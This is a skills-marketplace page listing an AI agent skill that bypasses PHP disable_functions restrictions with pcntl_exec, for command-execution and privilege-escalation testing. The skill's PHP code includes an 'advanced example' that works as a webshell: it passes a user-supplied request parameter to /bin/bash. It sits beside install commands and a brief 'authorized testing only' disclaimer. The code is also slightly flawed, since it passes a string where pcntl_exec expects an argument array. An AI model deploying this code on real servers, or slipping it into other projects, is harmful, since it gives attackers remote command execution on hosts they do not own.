cstrien/skills_dior/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec

Claude Code and agent skill by cstrien/skills_dior

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Bypass disabled_functions in PHP 4 >= 4.2.0 and PHP 5 using pcntl_exec. Use this skill when testing PHP applications for command execution vulnerabilities, analyzing disabled_functions configurations, or when you need to execute system commands through PHP when standard functions are blocked. Trigger this skill for any PHP security testing involving function restrictions, WAF bypass, or privilege escalation scenarios.

Install

npx vskill@latest install cstrien/skills_dior/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec

SKILL.md

The same SKILL.md was published earlier as cstrien/skills_dior/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec.

PHP pcntl_exec Bypass for Disabled Functions

This skill helps you bypass disable_functions restrictions in PHP 4 >= 4.2.0 and PHP 5 using the pcntl_exec function.

When to Use

  • Testing PHP applications for command execution vulnerabilities
  • Analyzing disable_functions configurations
  • When standard PHP functions (exec, system, shell_exec, etc.) are blocked
  • Security assessments and penetration testing (authorized only)

Prerequisites

  • PHP 4 >= 4.2.0 or PHP 5
  • pcntl extension must be enabled
  • pcntl_exec must not be in disable_functions

Basic Usage

php
<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
$arg = array($cmd, $option, $dir);
pcntl_exec($pathtobin, $arg);
echo '123';
?>

Key Points

  1. pcntl_exec replaces the current process with a new one
  2. Code after pcntl_exec will not execute
  3. The function takes a binary path and an array of arguments
  4. Useful when other execution functions are disabled

Advanced Example

php
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo 'pcntl extension not available';
}
?>

Security Considerations

  • Only use in authorized security testing
  • Document findings properly
  • Report vulnerabilities to system owners
  • Never use for malicious purposes

References

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

7-day trend score
5

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/cstrien/skills_dior/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec/badge)](https://verified-skill.com/skills/cstrien/skills_dior/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec)

Something wrong with this skill or its page? Tell us.